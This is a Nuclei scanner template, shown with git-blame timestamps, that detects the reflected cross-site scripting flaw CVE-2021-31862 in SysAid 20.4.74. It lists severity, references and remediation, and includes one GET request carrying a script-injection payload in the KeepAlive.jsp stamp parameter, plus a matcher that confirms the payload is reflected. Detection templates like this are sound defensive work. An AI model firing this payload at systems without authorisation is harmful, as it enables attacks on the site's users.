2022-01-07 07:58:38 +00:00
|
|
|
id: CVE-2021-31862
|
|
|
|
|
|
|
|
info:
|
2022-08-29 13:55:23 +00:00
|
|
|
name: SysAid 20.4.74 - Cross-Site Scripting
|
2022-01-07 07:58:38 +00:00
|
|
|
author: jas37
|
|
|
|
severity: medium
|
2022-08-29 13:55:23 +00:00
|
|
|
description: SysAid 20.4.74 contains a reflected cross-site scripting vulnerability via the KeepAlive.jsp stamp parameter.
|
2023-09-06 12:09:01 +00:00
|
|
|
remediation: |
|
|
|
|
Upgrade to a patched version of SysAid or apply the vendor-provided security patch to mitigate the XSS vulnerability.
|
2022-01-07 07:58:38 +00:00
|
|
|
reference:
|
|
|
|
- https://github.com/RobertDra/CVE-2021-31862/blob/main/README.md
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://www.sysaid.com/product/on-premise/latest-release
|
2022-08-29 13:55:23 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-31862
|
2022-01-07 07:58:38 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 6.1
|
2022-01-07 07:58:38 +00:00
|
|
|
cve-id: CVE-2021-31862
|
|
|
|
cwe-id: CWE-79
|
2023-08-31 11:46:18 +00:00
|
|
|
epss-score: 0.00141
|
2023-11-18 12:52:17 +00:00
|
|
|
epss-percentile: 0.49743
|
2023-09-06 12:09:01 +00:00
|
|
|
cpe: cpe:2.3:a:sysaid:sysaid:20.4.74:*:*:*:*:*:*:*
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-07-11 19:49:27 +00:00
|
|
|
vendor: sysaid
|
|
|
|
product: sysaid
|
|
|
|
tags: cve,cve2021,xss,sysaid
|
2022-01-07 07:58:38 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-01-07 07:58:38 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- '{{BaseURL}}/KeepAlive.jsp?stamp=%3Cscript%3Ealert(document.domain)%3C/script%3E'
|
|
|
|
|
|
|
|
matchers:
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
|
|
|
- '(body == "false <script>alert(document.domain)</script>")'
|
|
|
|
- 'status_code == 200'
|
2022-08-29 13:55:23 +00:00
|
|
|
condition: and
|
2023-11-19 08:30:54 +00:00
|
|
|
|
|
|
|
# digest: 490a0046304402201ba6b108d8f96cf5b6c8ca4e2f74c2f9b05cc599770b83d95d4b35498582fa710220195c4e1adf5fe92f775ebe3029f5917f0a6fe0174569f263d2f0f736a6f8c605:922c64590222798bb761d5b6d8e72950
|